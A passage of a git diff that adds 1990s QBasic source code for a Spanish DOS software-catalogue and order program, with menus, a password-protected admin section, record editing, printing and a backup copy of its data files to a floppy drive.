18 + menuRow(2) = 4: menuCol(2) = 18 + menuRow(3) = 5: menuCol(3) = 18 + menuRow(4) = 6: menuCol(4) = 18 + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + SELECT CASE SubChoice + CASE 1: Pedidos (0) + CASE 2 + FancyCls colors(2, ColorPref), colors(1, ColorPref) + BorraPantalla = 1 + COLOR colors(7, ColorPref), colors(4, ColorPref) + sombra = 1 + Box 15, 7, 17, 36 + sombra = 0 + + LOCATE 16, 8: PRINT "Seleccione m¢dulo a imprimir" + be = 1 + GOSUB MenuSystemEdit + be = 0 + BorraPantalla = 0 + ImprCom (SubChoice) + CASE 3: ImprCom (0) + CASE 4 + vwe = 1 + +IF tir <> 1 THEN + + Box 9, 19, 14, 61 + COLOR 10 + Center 11, "Introduzca PASSWORD..." + COLOR 0, 0 + + DO + Tipos = Tipos + 1 + kbd$ = GetString$(11, 54, Start$, new$, 5, 5) + new# = VAL(new$) + IF new# = 0 THEN EXIT DO + IF Tipos = 5 THEN tir = 1: EXIT DO + BEEP + LOOP WHILE new# <= 0 OR new# > 999999 + + ELSE + Box 9, 19, 14, 61 + COLOR 10 + Center 11, "ACCESO DENEGADO" + Center 13, STR$(2 - intentos) + " intento/s m s y bloqueo el programa !!" + SLEEP + intentos = intentos + 1 + IF intentos = 3 THEN + Box 9, 19, 14, 61 + COLOR 10 + Center 11, "ACCESO DENEGADO" + Center 13, "Programa BLOQUEADO" + DO: LOOP + END IF +END IF + +DO + Retorno = 0 +IF new# = VAL(RTRIM$(LTRIM$(STR$(Password#)))) THEN + + Tipos = Tipos - 1 + Choice$(1) = " A¤adir/supr programas " + Choice$(2) = " Cambiar mensaje " + Choice$(3) = " Edit/supr pedidos " + Choice$(4) = " Camb. Password/Usuario " + Choice$(5) = " Copiar ficheros a A: " + + Help$(1) = "A¤adir, suprimir programas" + Help$(2) = "Cambiar mensaje final de impresi¢n" + Help$(3) = "Editar, suprimir pedidos" + Help$(4) = "Cambiar Password, usuario en uso" + Help$(5) = "Copiar ficheros de datos de C: a A:" + + menuRow(1) = 7: menuCol(1) = 40 + menuRow(2) = 8: menuCol(2) = 40 + menuRow(3) = 9: menuCol(3) = 40 + menuRow(4) = 10: menuCol(4) = 40 + menuRow(5) = 11: menuCol(5) = 40 + + COLOR colors(2, ColorPref), colors(1, ColorPref) + FOR wq = 9 TO 20 + LOCATE wq, 19: PRINT SPC(44); + NEXT + + BorraPantalla = 1 + subsubchoice = Menu(1, 5, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + BorraPantalla = 0 + + SELECT CASE subsubchoice + CASE 1: MasMenosProg + CASE 2: CambMensajeFinal + CASE 3: Pedidos (1) + + CASE 4 + + Box 12, 19, 17, 61 + Center 13, "CAMBIO DE PASSWORD Y USUARIO" + Center 14, "Usuario: " + Center 15, "Password: " + kbd$ = GetString$(14, 30, Poseedor$, new$, 18, 18) + Poseedor$ = new$ + ert = 0 + : 'Este es el DO de ert + DO + OldPassword# = Password# + LOCATE 15, 30: PRINT Password# + kbd$ = GetString$(15, 30, STR$(Password#), new$, 5, 5) + new# = VAL(new$) + Password# = new# + IF OldPassword# <> Password# THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 18, 19, 20, 61 + Center 19, "Confirme Password: " + COLOR 0, 0 + kbd$ = GetString$(19, 40, Start$, new$, 5, 5) + IF Password# <> VAL(new$) THEN + Center 19, "Confirmaci¢n de Password incorrecta" + SLEEP + Center 19, "Por favor, vuelva a introducirlo..." + ert = 1 + END IF + + END IF + SaveState + Retorno = 1 + + LOOP WHILE ert = 1 + + CASE 5 + PrintHelpLine "Por favor, espere... Copiando Ficheros" + LOCATE 15, 1 + SHELL "Copy *.dat a: >nul" + IF SCREEN(16, 1) <> 32 THEN + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 63 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error durante" + Center 12, "el proceso, copie los ficheros manualmente." + COLOR 11, 4: Center 13, "Perdone las molestias" + sombra = 0 + SLEEP + GOTO MenuSystemMain + END IF + SHELL "Copy Mensaje.cat a: >nul" + IF SCREEN(16, 1) <> 32 THEN + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 63 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error durante" + Center 12, "el proceso, copie los ficheros manualmente." + COLOR 11, 4: Center 13, "Perdone las molestias" + sombra = 0 + SLEEP + GOTO MenuSystemMain + END IF + CASE ELSE + END SELECT +END IF + + LOOP WHILE Retorno = 1 + + CASE ELSE + END SELECT + +LOOP WHILE vwe = 1 + +RETURN + +MenuSystemColors: + Choice$(1) = " Monocrom tico " + Choice$(2) = " Cyan/Azul " + Choice$(3) = " Azul/Cyan " + Choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 31 + menuRow(2) = 4: menuCol(2) = 31 + menuRow(3) = 5: menuCol(3) = 31 + menuRow(4) = 6: menuCol(4) = 31 + + Help$(1) = "Color para presentaci¢n monocrom tico y LCD" + Help$(2) = "Color presentado cyan" + Help$(3) = "Color presentado azul" + Help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +MenuSystemCreditos: + Choice$(1) = " Cedido a... " + Choice$(2) = " Acerca de..." + + menuRow(1) = 3: menuCol(1) = 65 + menuRow(2) = 4: menuCol(2) = 65 + + Help$(1) = "Cat logo vú3.0 cedido a..." + Help$(2) = "Cr‚ditos de Cat logo" + + SubChoice = Menu(1, 2, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 + Box 9, 19, 14, 61 + Center 10, "Cat logo vú3.0 cedido a: " + Center 11, " " + Poseedor$ + SLEEP + + CASE 2 + Box 9, 19, 14, 61 + Center 10, "Cat logo, creado por: " + Center 11, " " + MiNombre$ + Center 12, " Tel‚fono: 95 - 561.08.91" + SLEEP + + CASE ELSE + END SELECT + RETURN + + +END SUB + +SUB Pedidos (Permisos%) + + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(2), col(2), Vis(2), Max(2), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10), Men$(4), f(2), CurrStringC$(5), HelpC$(5) + REDIM ColC(5), VisC(5), MaxC(5), RowC(5) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000) + + +OPEN "P_Temp.cat" FOR RANDOM AS #1 LEN = 24 +OPEN "Fichas.cat" FOR RANDOM AS #2 LEN = 53 + + FIELD #1, 1 AS TipFich$, 3 AS IoCurrTempTopLine$, 15 AS IoTempDesc$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 10 AS IoNombre$, 18 AS IoApellido$, 10 AS IoTelefono$, 10 AS IoCpu$, 2 AS IoRam$ + FIELD #2, 1 AS IoVld$, 3 AS IoMxRcrd$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LSET TipFich$ = "þ" + LSET IoCurrTempTopLine$ = "" + LSET IoTempDesc$ = "" + PUT #1, 2 + LSET Valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + MaxRecord = VAL(IoMaxRecord$) + END IF + + CurrStringC$(1) = "" + CurrStringC$(2) = "" + CurrStringC$(3) = "" + CurrStringC$(4) = "" + CurrStringC$(5) = "" + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + sombra = 1 + Box 3, 35, 8, 76 + COLOR colors(7, ColorPref), colors(4, ColorPref) +LOCATE 4, 36: PRINT "Nombre:" +LOCATE 5, 36: PRINT "Apellidos:" +LOCATE 6, 36: PRINT "Telefono:" +LOCATE 7, 36: PRINT "CPU: RAM:" + + GET #2, 1 + IF IoVld$ <> "*" THEN + LSET IoNombre$ = "" + LSET IoApellido$ = "" + LSET IoTelefono$ = "" + LSET IoCpu$ = "" + LSET IoRam$ = "" + PUT #2, 2 + LSET IoVld$ = "*" + LSET IoMxRcrd$ = "1" + PUT #2, 1 + ELSE + GET #2, 2 + CurrStringC$(1) = IoNombre$ + CurrStringC$(2) = IoApellido$ + CurrStringC$(3) = IoTelefono$ + CurrStringC$(4) = IoCpu$ + CurrStringC$(5) = IoRam$ + LOCATE 4, 44: PRINT CurrStringC$(1) + LOCATE 5, 47: PRINT CurrStringC$(2) + LOCATE 6, 46: PRINT CurrStringC$(3) + LOCATE 7, 41: PRINT CurrStringC$(4) + LOCATE 7, 70: PRINT CurrStringC$(5) + GET #2, 1 + MaxRecord = VAL(IoMaxRecord$) + + END IF + + + 'Initialize variables + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + + + MaxRecord = VAL(IoMaxRecord$) + MaxRecordC = VAL(IoMxRcrd$) + + Help$(1) = "Nombre del Programa (15 dig.) " + Help$(2) = "N§ Kb, Mb, Diskettes... " + + HelpC$(1) = "Nombre " + HelpC$(2) = "Apellidos " + HelpC$(3) = "N§ Tel‚fono " + HelpC$(4) = "C.P.U. (Ej. 486DX2/66 ) " + HelpC$(5) = "RAM " + + col(1) = 36: Vis(1) = 15: Max(1) = 15 + col(2) = 52: Vis(2) = 3: Max(2) = 3 + + ColC(1) = 44: VisC(1) = 21: MaxC(1) = 10: RowC(1) = 4 + ColC(2) = 47: VisC(2) = 18: MaxC(2) = 18: RowC(2) = 5 + ColC(3) = 46: VisC(3) = 19: MaxC(3) = 10: RowC(3) = 6 + ColC(4) = 41: VisC(4) = 24: MaxC(4) = 10: RowC(4) = 7 + ColC(5) = 70: VisC(5) = 3: MaxC(5) = 2: RowC(5) = 7 + + + 'Draw Screen + Box 10, 35, 18, 76 + + + u$ = "\ \" + u1$ = " " + u1x$ = "ßßßßßßßßßßßßßßßß" + u2$ = "###" + + + + CurrTopLine = 1 + + PosCol = 1 + CurrRow = 1 + CurrCol = 1 + + GOSUB EtTransPrintWholeScreen + + IF Permisos = 0 THEN + PrintHelpLine Help$(CurrCol) + "| " + ELSE + PrintHelpLine " " + END IF + + GOSUB EtTransGetLine + GOSUB EtTransPrintLine + + finished = FALSE + + + 'Loop until is pressed + DO + hide = 0: GOSUB EtTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + hide = 1: GOSUB EtTransShowCursor + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, Et item + IF Permisos = 0 THEN GOSUB EtTransEtItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EtTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EtTransMoveDown + CASE CHR$(0) + "=" 'F3 + IF Permisos = 0 THEN + PrintHelpLine Help$(CurrCol) + "| " + GOSUB PdCmntr + END IF + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine - 14 + IF CurrTopLine < 1 THEN + CurrTopLine = 1 + END IF + GOSUB EtTransPrintWholeScreen + GOSUB EtTransGetLine + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine + 14 + IF CurrTopLine > MaxRecord THEN + CurrTopLine = MaxRecord + END IF + + GOSUB EtTransPrintWholeScreen + GOSUB EtTransGetLine + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + IF Permisos = 0 THEN GOSUB EtTransAddRecord ELSE GOSUB Imprimir + CASE CHR$(0) + "D" 'F10 + IF Permisos = 0 THEN + GOSUB EtTransDeleteRecord + ELSE + CLOSE + KILL "Fichas.cat" + KILL "P_Temp.cat" + finished = TRUE + END IF + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EtTransShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(CurrCol) ELSE LOCATE CurrRowFalse + 9, col(CurrCol) + 21 + PRINT LEFT$(CurrString$(1), 15); + RETURN + +EtTransEtItem: + + CurrRecord = CurrTopLine + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF PosCol = 1 THEN CrrRw = CurrRow: f(1) = col(1): f(2) = col(2) ELSE CrrRw = CurrRowFalse - 1: f(1) = col(1) + 21: f(2) = col(2) + 21 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN Start$ = CurrString$(3) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CrrRw + 10, f(1), Start$, new$, Vis(CurrCol), Max(CurrCol)) + CurrString$(1) = new$ + GOSUB EtTransPutLine + GOSUB EtTransGetLine + + GOSUB EtTransPrintLine + RETURN +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +EtTransMoveUp: + IF CurrRow = 1 THEN + BEEP + ELSE + CurrRow = CurrRow - 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EtTransGetLine + END IF + RETURN +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +EtTransMoveDown: + IF (CurrRow + CurrTopLine - 1) >= MaxRecord OR CurrRow = 14 THEN + BEEP + ELSE + IF CurrRow = 14 THEN + BEEP + ELSE + CurrRow = CurrRow + 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EtTransGetLine + END IF + END IF + + RETURN + +EtTransPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopLine + CurrRow - 1 + IF PosCol = 1 THEN + LOCATE CurrRow + 10, 36 + ELSE + LOCATE CurrRowFalse + 9, 57 + END IF + + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + + IF RTRIM$(LTRIM$(CurrString$(1))) = "" THEN PRINT " "; ELSE PRINT CurrString$(1) + " "; + END IF + + RETURN + + +EtTransDeleteRecord: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopLine + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + WHILE a <= MaxRecord + GET #1, a + 1 + 1 + PUT #1, a + 1 + a = a + 1 + WEND + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + + GOSUB EtTransPrintWholeScreen + + IF CurrRecord > MaxRecord THEN + GOSUB EtTransMoveUp + END IF + GOSUB EtTransGetLine + GOSUB EtTransPrintLine + + END IF + RETURN + +EtTransAddRecord: + + CurrRecord = CurrTopLine + CurrRow - 1 + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + PUT #1, a + 1 + 1 + a = a - 1 + WEND + MaxRecord = MaxRecord + 1 + LSET TipFich$ = "þ" + LSET IoCurrTempTopLine$ = "þ" + LSET IoTempDesc$ = "" + PUT #1, CurrRecord + 1 + 1 + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + + GOSUB EtTransPrintWholeScreen + GOSUB EtTransGetLine + RETURN + + +EtTransPrintWholeScreen: + + Permiso = 1 + temp = CurrRow + + FOR CurrRow = 1 TO 14 + CurrRecord = CurrTopLine + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EtTransGetLine + END IF + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + END IF + + GOSUB EtTransPrintLine + PosCol = 1 + NEXT CurrRow + Permiso = 0 + CurrRow = temp + RETURN + +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +EtTransPutLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + + GET #1, CurrRecord + 1 + Dezplazamiento = 0 + LSET TipFich$ = RTRIM$(LTRIM$(Tip$)) + LSET IoCurrTempTopLine$ = RTRIM$(LTRIM$(CurrTempTopLine$)) + LSET IoTempDesc$ = CurrString$(1) + PUT #1, CurrRecord + 1 + RETURN + +EtTransGetLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + + GET #1, CurrRecord + 1 + Tip$ = TipFich$ + CurrString$(1) = IoTempDesc$ + CurrTempTopLine$ = IoCurrTempTopLine$ + RETURN + +PdCmntr: + NowRow = 1 + PrintHelpLine HelpC$(NowRow) + "| " + fiiniished = FALSE + 'Loop until is pressed + DO + hide = 0: GOSUB ddtTrnsShwCrsr 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + Start$ = kbd$ + hide = 1: GOSUB ddtTrnsShwCrsr + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + COLOR colors(8, ColorPref), colors(9, ColorPref) + SELECT CASE NowRow + CASE 1 TO 5 + Start$ = kbd$ + kbd$ = GetString$(RowC(NowRow), ColC(NowRow), Start$, new$, VisC(NowRow), MaxC(NowRow)) + CurrStringC$(NowRow) = new$ + CASE ELSE + END SELECT + + END IF + hide = 0: GOSUB ddtTrnsShwCrsr 'Show Cursor, Wait for key + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + hide = 1: GOSUB ddtTrnsShwCrsr + NowRow = NowRow - 1 + IF NowRow <= 0 THEN NowRow = 5 + PrintHelpLine HelpC$(NowRow) + "| " + CASE CHR$(0) + "P" 'Down arrow + hide = 1: GOSUB ddtTrnsShwCrsr + NowRow = NowRow + 1 + IF NowRow >= 6 THEN NowRow = 1 + PrintHelpLine HelpC$(NowRow) + "| " + CASE CHR$(0) + "<" 'F2 + fiiniished = TRUE + CASE ELSE + BEEP + END SELECT + LOOP UNTIL fiiniished + hide = 1: GOSUB ddtTrnsShwCrsr + PrintHelpLine "Por Favor, espere... Buscando y Grabando posiciones" + LSET IoNombre$ = CurrStringC$(1) + LSET IoApellido$ = CurrStringC$(2) + LSET IoTelefono$ = CurrStringC$(3) + LSET IoCpu$ = CurrStringC$(4) + LSET IoRam$ = CurrStringC$(5) + PUT #2, 2 + LSET IoVld$ = "*" + LSET IoMxRcrd$ = "1" + PUT #2, 1 + RETURN + + +ddtTrnsShwCrsr: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE RowC(NowRow), ColC(NowRow): PRINT CurrStringC$(NowRow); SPC(VisC(NowRow) - LEN(CurrStringC$(NowRow))); + RETURN + +Imprimir: + +PrintErr = FALSE +ON ERROR GOTO ERRORTRAP ' test if printer is connected +LPRINT +IF PrintErr = FALSE THEN +LPRINT "CATALOGO -- J.D. --" +LPRINT +LPRINT "Nombre: "; CurrStringC$(1) +LPRINT "Apellidos: "; CurrStringC$(2) +LPRINT "N§ Telefono: "; CurrStringC$(3) +LPRINT "C.P.U.: "; CurrStringC$(4); " "; CurrStringC$(5) +LPRINT + a = 1: b = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + SELECT CASE b + CASE 1: LPRINT IoTempDesc$; : b = 2 + CASE 2: LPRINT " "; IoTempDesc$; : b = 3 + CASE 3: LPRINT " "; IoTempDesc$; : b = 4 + CASE 4: LPRINT " "; IoTempDesc$: b = 1 + CASE ELSE + END SELECT + a = a + 1 + WEND +LPRINT + +END IF +RETURN + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (Help$) + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + Center 25, Help$ +END SUB + +'SaveState: +' Save color preference and account information to "MONEY.DAT" data file. +SUB SaveState +DEFINT A-Z +RANDOMIZE TIMER + x# = INT(RND * 6) + 1 + Password$ = STR$(x#) + STR$(Password# * x# * 7#) + OPEN "Catalogo.CFG" FOR OUTPUT AS #2 + PRINT #2, ColorPref + PRINT #2, Poseedor$ + PRINT #2, Password$ + CLOSE #2 +END SUB + +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR a = 1 TO LEN(x$) + y$ = MID$(x$, a, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = a + END IF + NEXT a + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + diff --git a/BAS/CATALOG2.BAS b/BAS/CATALOG2.BAS new file mode 100644 index 0000000..24d7295 --- /dev/null +++ b/BAS/CATALOG2.BAS @@ -0,0 +1,912 @@ +principiodelprincipio: +REM Versi¢n 3.0 en Qbasic de Catalogo (c) +KEY OFF +pp: +CLEAR +ON ERROR GOTO corrector +DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50) +KEY(1) ON +KEY(2) ON +ON KEY(1) GOSUB help +ON KEY(2) GOSUB finp +CLS +GOSUB menu1 +GOSUB cargachar +COLOR 1, 7 +l = 1 +GOSUB secuencia + +espera: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera3: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera3 +IF I$ = CHR$(13) THEN GOTO ejecuta +IF I$ = CHR$(27) THEN GOSUB help +GOTO espera3 + +sube: +ant = l +IF l = 1 THEN l = 11 ELSE l = l - 1 +GOSUB secuencia +RETURN + +baja: +ant = l +IF l = 12 THEN l = 1 ELSE l = l + 1 +GOSUB secuencia +RETURN + +secuencia: +IF l = -1 THEN l = 11 +IF l = 12 THEN l = 1 +IF ant = 0 THEN ant = 1 +COLOR 7, 1, 1 +LOCATE 2 * ant, 2: PRINT lot$(ant) +COLOR 1, 7 +LOCATE 2 * l, 2: PRINT lec$(l): RETURN +END + +ejecuta: +KEY(11) OFF +KEY(14) OFF +COLOR 7, 1, 1 +IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm +END + +lp: +f = l +IF f = 10 THEN f = 0 +GOSUB tipodeficha +REM LISTA DE PROGRAMAS +IF Tf$ = "0" THEN arc$ = "copy-1.dat" + +OPEN "R", #1, arc$, 14 +contador = 13: COLUMNA = 34 +FOR A = 1 TO LOF(1) / 14 + 1 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1, A +IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua +imprime: +COLOR 12, 1, 1 +LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$ +contador = contador + 1 +IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre +IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13 +continua: +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "PULSE UNA TECLA" +COLOR 15, 1, 1 +LOCATE 5, 60: PRINT "Para ir al MENé " +p: +IF INKEY$ = "" THEN GOTO p +COLOR 7, 1, 1 +FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr +LOCATE 4, 60: PRINT " F1 HELP " +LOCATE 5, 60: PRINT " F2 Exit to DOS" +GOTO espera + +contimpre: +COLOR 14, 1, 1 +LOCATE 4, 60: PRINT "Pulse una tecla" +LOCATE 5, 60: PRINT "para continuar." +COLOR 7, 1, 1 +p2: +IF INKEY$ = "" THEN GOTO p2 +LOCATE 4, 60: PRINT " " +LOCATE 5, 60: PRINT " " +contador = 13: COLUMNA = 34 +FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba +RETURN + +END + +mm: + +GOSUB menu2 +l2 = 1 +GOSUB secuencia2 +espera2: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube2 +ON KEY(14) GOSUB baja2 +espera4: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera4 +IF I$ = CHR$(13) THEN GOTO ejecuta2 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera +GOTO espera4 + +sube2: +ant2 = l2 +IF l2 = 1 THEN l2 = 4 ELSE l2 = l2 - 1 +IF ant2 = 0 THEN ant2 = 1 +GOSUB secuencia2 +RETURN + +baja2: +ant2 = l2 +IF l2 = 4 THEN l2 = 1 ELSE l2 = l2 + 1 +GOSUB secuencia2 +RETURN + +secuencia2: +IF l2 = -1 THEN l2 = 4 +IF l2 = 5 THEN l2 = 1 +COLOR 7, 1, 1 +IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2) +IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2) +IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2) +IF ant2 = 4 THEN LOCATE 10, 39: COLOR 9, 1, 1: PRINT lot2$(ant2): COLOR 7, 1, 1 +COLOR 1, 7 +IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN +IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN +IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN +IF l2 = 4 THEN LOCATE 10, 39: COLOR 7, 0: PRINT lec2$(l2): COLOR 1, 7: RETURN +END + +ejecuta2: +KEY(11) OFF +KEY(14) OFF +ON l2 GOTO il, gp, C, md +GOTO espera2 +END + +il: +ON ERROR GOTO corrector +REM FICHERO PARA IMPRIMIR +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." +N: +Q$ = INKEY$: IF Q$ = "" THEN GOTO N +IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas +FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT +pagina = 1 +CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20) +LPRINT "ßßÛÛÛÛÛÛßßßßßÛÛÛßßßßß" +LPRINT "ßß Ü ßßßßÜ Ûßßß" +LPRINT "ßßßßßßßÜ ßßßßÜ ßß Üßß" +LPRINT "ßßÛßßßßÜ ßßßßÜ ßßÛ ß" +LPRINT "ßßÜÜÛÛÛÜ ßßßßÜÜÛß ßß" +LPRINT "ßß ßßßß ßßßß" +LPRINT "ÛßßßßßßßßßßßßßßßßßßßÛ" +LPRINT "ÛJ.D Guill‚n s.u '92Û" +LPRINT "ßßßßßßßßßßßßßßßßßßßßß" +LPRINT "El n£mero que sigue al nombre del programa, indica" +LPRINT "la cantidad de diskettes que est‚ ocupa. Diskett de 3 «" +LPRINT "Disponible el 75% de los programas en diskettes de 5 ¬" +contador = 12 + +f = 1 + +nf: +' EMPIEZA LA ETAPA f=A +IF contador > 50 THEN GOSUB finlista +CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97) +IF f = 1 THEN LPRINT 